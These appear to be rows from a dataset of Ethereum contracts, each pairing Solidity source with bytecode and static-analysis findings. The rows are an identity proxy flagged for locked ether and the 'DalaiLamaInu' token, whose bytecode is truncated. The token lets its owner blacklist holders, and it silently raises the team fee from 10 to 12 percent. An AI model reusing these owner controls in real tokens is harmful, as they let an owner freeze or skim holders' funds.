uint len = txns.length;
for (uint i=0; i<len; i++) {
Transaction memory txn = txns[i];
executeCall(txn.to, txn.value, txn.data);
}
// The actual anti-bricking mechanism - do not allow the sender to drop his own priviledges
require(privileges[msg.sender] == true, 'PRIVILEGE_NOT_DOWNGRADED');
}
// we shouldn't use address.call(), cause: https://github.com/ethereum/solidity/issues/2884
// copied from https://github.com/uport-project/uport-identity/blob/develop/contracts/Proxy.sol
// there's also
// https://github.com/gnosis/MultiSigWallet/commit/e1b25e8632ca28e9e9e09c81bd20bf33fdb405ce
// https://github.com/austintgriffith/bouncer-proxy/blob/master/BouncerProxy/BouncerProxy.sol
// https://github.com/gnosis/safe-contracts/blob/7e2eeb3328bb2ae85c36bc11ea6afc14baeb663c/contracts/base/Executor.sol
function executeCall(address to, uint256 value, bytes memory data)
internal
{
assembly {
let result := call(gas(), to, value, add(data, 0x20), mload(data), 0, 0)
switch result case 0 {
let size := returndatasize()
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
revert(ptr, size)
}
default {}
}
}
// EIP 1271 implementation
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4) {
if (privileges[SignatureValidator.recoverAddrBytes(hash, signature)]) {
// bytes4(keccak256("isValidSignature(bytes32,bytes)")
return 0x1626ba7e;
} else {
return 0xffffffff;
}
}
} | 0x6080604052600436106100745760003560e01c8063951a02af1161004e578063951a02af146100f35780639d8908c314610113578063affed0e014610133578063c066a5b1146101555761007b565b806301baabb31461007d5780631626ba7e1461009d5780631eef7d87146100d35761007b565b3661007b57005b005b34801561008957600080fd5b5061007b610098366004610b91565b610182565b3480156100a957600080fd5b506100bd6100b8366004610d0c565b61020a565b6040516100ca9190610f5e565b60405180910390f35b3480156100df57600080fd5b5061007b6100ee366004610d83565b610291565b3480156100ff57600080fd5b5061007b61010e366004610c06565b6102cf565b34801561011f57600080fd5b5061007b61012e366004610bcb565b610552565b34801561013f57600080fd5b5061014861062c565b6040516100ca919061122d565b34801561016157600080fd5b50610175610170366004610b77565b610632565b6040516100ca9190610f35565b3330146101aa5760405162461bcd60e51b81526004016101a190611143565b60405180910390fd5b6001600160a01b03821660008181526020819052604090819020805460ff1916841515179055517f6fcfb5059546089d4477e75eeeb92b3a21bf95a9f001d2c792f06c46a2af2313906101fe908490610f35565b60405180910390a25050565b600080600061024f8686868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061064792505050565b6001600160a01b0316815260208101919091526040016000205460ff161561027f5750630b135d3f60e11b61028a565b506001600160e01b03195b9392505050565b3330146102b05760405162461bcd60e51b81526004016101a190611143565b6040805160008152602081019091526102cc9041908390610771565b50565b60008251116102f05760405162461bcd60e51b81526004016101a190611030565b60008260008151811061031357634e487b7160e01b600052603260045260246000fd5b60200260200101516040015190506000808451905060005b8181101561053957600086828151811061035557634e487b7160e01b600052603260045260246000fd5b60200260200101519050306001600160a01b031681600001516001600160a01b0316146103945760405162461bcd60e51b81526004016101a190610f73565b846001600160a01b031681604001516001600160a01b0316146103c95760405162461bcd60e51b81526004016101a1906111f6565b6001548160200151146103ee5760405162461bcd60e51b81526004016101a190611056565b80516020808301516040808501516060860151608087015160a088015160c08901519451600098610423989097969101610ea5565b604051602081830303815290604052805190602001209050600061046e8289868151811061046157634e487b7160e01b600052603260045260246000fd5b6020026020010151610797565b6001600160a01b03811660009081526020819052604090205490915060ff1615156001146104ae5760405162461bcd60e51b81526004016101a190611101565b600180546104bb9161128b565b60015560608301516104cd908761128b565b95506104e683608001518460a001518560c00151610771565b6001600160a01b03811660009081526020819052604090205460ff1615156001146105235760405162461bcd60e51b81526004016101a190610faa565b5050508080610531906112a3565b91505061032b565b50811561054b5761054b833384610939565b5050505050565b3360009081526020819052604090205460ff1615156001148061057457503330145b6105905760405162461bcd60e51b81526004016101a19061107b565b805160005b818110156105f35760008382815181106105bf57634e487b7160e01b600052603260045260246000fd5b602002602001015190506105e081608001518260a001518360c00151610771565b50806105eb816112a3565b915050610595565b503360009081526020819052604090205460ff1615156001146106285760405162461bcd60e51b81526004016101a190610faa565b5050565b60015481565b60006020819052908152604090205460ff1681565b6000815160411461066a5760405162461bcd60e51b81526004016101a1906111aa565b60208201516040830151606084015160001a7f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156106bc5760405162461bcd60e51b81526004016101a1906110b2565b8060ff16601b14806106d157508060ff16601c145b6106ed5760405162461bcd60e51b81526004016101a190610fe1565b856040516020016106fe9190610d9b565b604051602081830303815290604052805190602001209550600186828585604051600081526020016040526040516107399493929190610f40565b6020604051602081039080840390855afa15801561075b573d6000803e3d6000fd5b5050506020604051035193505050505b92915050565b60008082516020840185875af180801561078a5761054b565b3d604051816000823e8181fd5b80516000908190811a60048111156107bf57634e487b7160e01b600052602160045260246000fd5b905060008160048111156107e357634e487b7160e01b600052602160045260246000fd5b14156107f357600091505061076b565b825160011a600282600481111561081a57634e487b7160e01b600052602160045260246000fd5b141561084e57846040516020016108319190610d9b565b6040516020818303038152906040528051906020012094506108d9565b600382600481111561087057634e487b7160e01b600052602160045260246000fd5b141561088757846040516020016108319190610e5b565b60048260048111156108a957634e487b7160e01b600052602160045260246000fd5b14156108d957846040516020016108c09190610dcc565b6040516020818303038152906040528051906020012094505b60208085015160408087015181516000815290930190819052600192610903928992869290610f40565b6020604051602081039080840390855afa158015610925573d6000803e3d6000fd5b5050604051601f1901519695505050505050565b60405163a9059cbb60e01b81526001600160a01b0384169063a9059cbb906109679085908590600401610e8c565b600060405180830381600087803b15801561098157600080fd5b505af1158015610995573d6000803e3d6000fd5b505050506109a16109c2565b6109bd5760405162461bcd60e51b81526004016101a190611173565b505050565b6000803d80156109d957602081146109e2576109ee565b600191506109ee565b60206000803e60005191505b501515905090565b80356001600160a01b0381168114610a0d57600080fd5b919050565b600082601f830112610a22578081fd5b81356020610a37610a3283611267565b611236565b82815281810190858301855b85811015610aff578135880160e080601f19838d03011215610a63578889fd5b610a6c81611236565b610a778884016109f6565b8152604080840135898301526060610a908186016109f6565b828401526080915081850135818401525060a0610aae8186016109f6565b8284015260c0915081850135818401525082840135925067ffffffffffffffff831115610ad9578a8bfd5b610ae78d8a85870101610b0c565b90820152865250509284019290840190600101610a43565b5090979650505050505050565b600082601f830112610b1c578081fd5b813567ffffffffffffffff811115610b3657610b366112d4565b610b49601f8201601f1916602001611236565b818152846020838601011115610b5d578283fd5b816020850160208301379081016020019190915292915050565b600060208284031215610b88578081fd5b61028a826109f6565b60008060408385031215610ba3578081fd5b610bac836109f6565b915060208301358015158114610bc0578182fd5b809150509250929050565b600060208284031215610bdc578081fd5b813567ffffffffffffffff811115610bf2578182fd5b610bfe84828501610a12565b949350505050565b60008060408385031215610c18578182fd5b823567ffffffffffffffff80821115610c2f578384fd5b610c3b86838701610a12565b9350602091508185013581811115610c51578384fd5b85019050601f8082018713610c64578384fd5b8135610c72610a3282611267565b818152848101908486016060808502870188018c1015610c90578889fd5b8896505b84871015610cfb578b86830112610ca9578889fd5b610cb281611236565b80838385018f811115610cc3578c8dfd5b8c5b6003811015610ce25782358552938c0193918c0191600101610cc5565b509187525060019890980197948901949250610c949050565b50979a909950975050505050505050565b600080600060408486031215610d20578081fd5b83359250602084013567ffffffffffffffff80821115610d3e578283fd5b818601915086601f830112610d51578283fd5b813581811115610d5f578384fd5b876020828501011115610d70578384fd5b6020830194508093505050509250925092565b600060208284031215610d94578081fd5b5035919050565b7f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0190565b7f19457468657265756d205369676e6564204d6573736167653a0a31303842792081527f7369676e696e672074686973206d6573736167652c20796f752061636b6e6f7760208201527f6c65646765207369676e696e6720616e204164457820626964207769746820746040820152683432903430b9b41d0560b91b6060820152606981019190915260890190565b7f19457468657265756d205369676e6564204d6573736167653a0a2000000000008152601b810191909152603b0190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b03808a16835260208981850152818916604085015287606085015281871660808501528560a085015260e060c0850152845191508160e0850152825b82811015610f065785810182015185820161010001528101610ee9565b82811115610f18578361010084870101525b5050601f01601f1916919091016101000198975050505050505050565b901515815260200190565b93845260ff9290921660208401526040830152606082015260800190565b6001600160e01b031991909116815260200190565b6020808252601c908201527f5452414e53414354494f4e5f4e4f545f464f525f434f4e545241435400000000604082015260600190565b60208082526018908201527f50524956494c4547455f4e4f545f444f574e4752414445440000000000000000604082015260600190565b6020808252602f908201527f5369676e617475726556616c696461746f723a20696e76616c6964207369676e60408201526e6174757265202776272076616c756560881b606082015260800190565b6020808252600c908201526b09aaaa6a8bea082a6a6bea8b60a31b604082015260600190565b6020808252600b908201526a57524f4e475f4e4f4e434560a81b604082015260600190565b6020808252601d908201527f494e53554646494349454e545f50524956494c4547455f53454e444552000000604082015260600190565b6020808252602f908201527f5369676e617475726556616c696461746f723a20696e76616c6964207369676e60408201526e6174757265202773272076616c756560881b606082015260800190565b60208082526022908201527f494e53554646494349454e545f50524956494c4547455f5452414e534143544960408201526127a760f11b606082015260800190565b60208082526016908201527513d3931657d25111539512551657d0d05397d0d0531360521b604082015260600190565b6020808252601a908201527f5361666545524332303a207472616e73666572206661696c6564000000000000604082015260600190565b6020808252602c908201527f5369676e617475726556616c696461746f723a20696e76616c6964207369676e60408201526b0c2e8eae4ca40d8cadccee8d60a31b606082015260800190565b6020808252601a908201527f455845435554455f4e454544535f53494e474c455f544f4b454e000000000000604082015260600190565b90815260200190565b604051601f8201601f1916810167ffffffffffffffff8111828210171561125f5761125f6112d4565b604052919050565b600067ffffffffffffffff821115611281576112816112d4565b5060209081020190565b6000821982111561129e5761129e6112be565b500190565b60006000198214156112b7576112b76112be565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122002475e860db1d1038d948ec1200738f6b068d7dac9c1130738f62a5e58d9f14764736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,941 |
0xfea7570ec36b954d4d6894e50bb540de4bbfee21 | // SPDX-License-Identifier: Unlicensed
// https://t.me/DalaiLamaInu
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Dinu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DalaiLamaInu | t.me/DalaiLamaInu";
string private constant _symbol = "Dinu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280602081526020017f44616c61694c616d61496e75207c20742e6d652f44616c61694c616d61496e75815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f44696e7500000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915